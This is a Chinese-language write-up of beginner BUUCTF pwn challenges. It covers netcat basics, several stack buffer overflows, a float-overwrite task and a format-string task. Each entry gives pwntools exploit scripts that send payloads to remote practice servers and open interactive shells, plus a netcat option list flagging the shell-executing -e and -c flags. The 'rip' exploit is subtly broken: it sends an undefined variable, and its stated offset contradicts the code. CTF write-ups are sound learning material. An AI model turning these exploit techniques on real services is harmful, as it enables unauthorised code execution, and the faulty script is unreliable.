【buuctf】 pwn 入门
test_your_nc
nc靶场
nc node3.buuoj.cn 28740
先连接到靶场,之后执行ls
命令后,即可显示靶场下文件目录:
接着输入cat flag
,查看flag
目录下的文件,即可得到flag
:
flag{7c5e5eee-5013-42d8-a5b1-eaf0cd513a1f}
nc 命令注解
-c shell命令为“-e”;使用/bin/sh来执行 [危险]
-e 文件名程序在连接后执行 [危险]
-b 允许广播
-g 网关源路由跃点,最多8个
-G num源路由指针:4,8,12。。。
-i secs 发送的线路和扫描的端口的延迟间隔为1秒
-k 在套接字上设置keepalive选项
-l 监听模式,用于入站连接
-n 仅数字IP地址,无DNS
-o 文件十六进制流量转储
-p 端口本地端口号
-r 随机化本地和远程端口
-q secs 在stdin上的EOF和秒延迟后q秒退出
-s addr地址本地源地址
-T tos 设置服务类型
-t 应答TELNET协商
-u UDP模式
-v verbose(使用两次可更详细)
-w 秒连接和最终网络读取超时
-C 发送CRLF作为行尾
-z 零I/O模式(用于扫描)
rip
因为是零基础的初学者,所以就看了网上的一些wp
IDA查看pwn1附件
按 please input 进行数据块跳转。
F5查看伪代码后,可以看到gets
函数。(gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。
双击 s ,查看需要多少字节 。以此来确定偏移量。
所以只要存入15个字节地址,就可以gey函数返回地址。
因此再回来看fun()函数,就是一个系统调用,故payload=‘a’ * 15 + p64(0x401186)
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#p = process('./pwn1')
p = remote('node3.buuoj.cn', 26692)
#p.recvuntil("please input")
buf = 'a' * (0xf + 0x8) + p64(0x401198) + p64(0x401186)
#gdb.attach(p)
p.sendline(buf_1)
p.interactive()
之后:
python pwn_rip.py
ls
cat flag
便可得到flag。
2021.01.25-2021.01.30
warmup_csaw_2016
连接靶场:nc node3.buuoj.cn 25333
root@kali:/home/kylin# nc node3.buuoj.cn 25333
-Warm Up-
WOW:0x40060d
>
得到 addr:0x40060d
载入IDA查看:
exp
from pwn import *
from LibcSearcher import *
context.os='linux'
context.arch='amd64'
context.log_level='debug'
sl=lambda x:io.sendline(x)
io=remote('node3.buuoj.cn',29040)
payload='a'*(0x40+8)+p64(0x40060d)
sl(payload)
io.interactive()
运行脚本得到flag。
pwn1_sctf_2016
下载得到 pwn1_sctf_2016 文件
file pwn1_sctf_2016
找到漏洞函数,s的长度为0x3c,而我们只能输入32个字符,不足以栈溢出,但是发现replace函数会把输入的 I 替换成 you ,这样的话输入20个 I 就能填满s
找到后门函数:
exp
from pwn import *
from LibcSearcher import *
context.os='linux'
context.arch='i386'
context.log_level='debug'
sl=lambda x:io.sendline(x)
io=remote('xxx',xxx)
payload='I'*20+'a'*4+p32(0x8048f0d)
sl(payload)
io.interactive()
运行脚本得到flag:
2021.02.01-2021.02.06
ciscn_2019_n_1
checksec
一下:
IDA打开,发现如果满足的条件达成,就能get flag
找到栈溢出漏洞,输入可以覆盖到v2
写代码把11.28125在内存中的十六进制表示出来
exp
from pwn import *
p = remote('node3.buuoj.cn',28941)
Payload = b'a'*(0x30 - 0x4) + p64(0x41348000)
p.sendline(Payload)
p.interactive()
运行脚本得到flag:
jarvisoj_level0
checksec
一下,栈溢出:
IDA打开,发现后门函数:
exp
from pwn import *
p = remote("node3.buuoj.cn",27290)
ret_arr = 0X40059A
payload = 'a'*(0x80 + 0x8) + p64(ret_arr)
p.sendline(payload)
p.interactive()
运行脚本得到flag:
2021.02.08-2021.02.13
[第五空间2019 决赛]PWN5
checksec
一下:
使用IDA查看:
先输入AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x········来确定输入首地址的偏移(找到41414141就是AAAA)
之后只要修改随机数的值,让输入和随机数的值一样就可以了。
exp
from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",29224)
unk_804C044 = 0x0804C044
payload=fmtstr_payload(10,{unk_804C044:0x1111})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x1111))
p.interactive()
运行脚本得到flag:
[BJDCTF 2nd]r2t3
checksec
一下:
nc一下看看程序的大概执行情况
使用IDA查看:
根据nc得到的提示字符串,找到输入点,第10行的read对读入的buf进行了限制,没法造成溢出
exp
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',26779)
p.recvuntil("name:")
payload=(0x11+0x4)*b'a'+p32(0x0804858B)
payload=payload.ljust(262,b'a')
p.sendline(payload)
p.interactive()
运行脚本得到flag:
2021.02.15-2021.02.20